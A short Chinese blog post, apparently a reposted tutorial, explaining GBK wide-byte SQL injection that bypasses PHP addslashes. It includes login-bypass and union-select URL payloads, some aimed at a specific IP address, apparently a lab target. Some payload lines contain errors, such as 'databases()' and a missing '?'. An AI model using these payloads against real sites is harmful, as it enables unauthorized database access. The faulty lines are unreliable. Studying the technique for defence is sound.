宽字节注入

标签：style   png   add   1.5   database   mit   pid   line   dex   

宽字节注入原理：

　　%DF’ ：会被PHP当中的addslashes函数转义为“%DF\‘” ，“\”既URL里的“%5C”，那么也就是说，“%DF‘”会被转成“%DF%5C%27”倘若网站的字符集是GBK，MYSQL使用的编码也是GBK的话，就会认为“%DF%5C%27”是一个宽字符。也就是“縗’”

例如：http://www.xxx.com/login.php?user=%df’ or 1=1 limit 1,1%23&pass=

其对应的sql就是：

select * fromcms_user where username = ‘運’ or 1=1 limit 1,1#’ and password=”

http://103.238.227.13:10083/index.php?id=1%df‘ order by 2%23
======>推出有两个字段数

然后再将sql修改

http://103.238.227.13:10083/index.phpid=-10%df‘ union select 1,databases()%23 

宽字节注入

标签：style   png   add   1.5   database   mit   pid   line   dex   

原文地址：http://www.cnblogs.com/xishaonian/p/6063961.html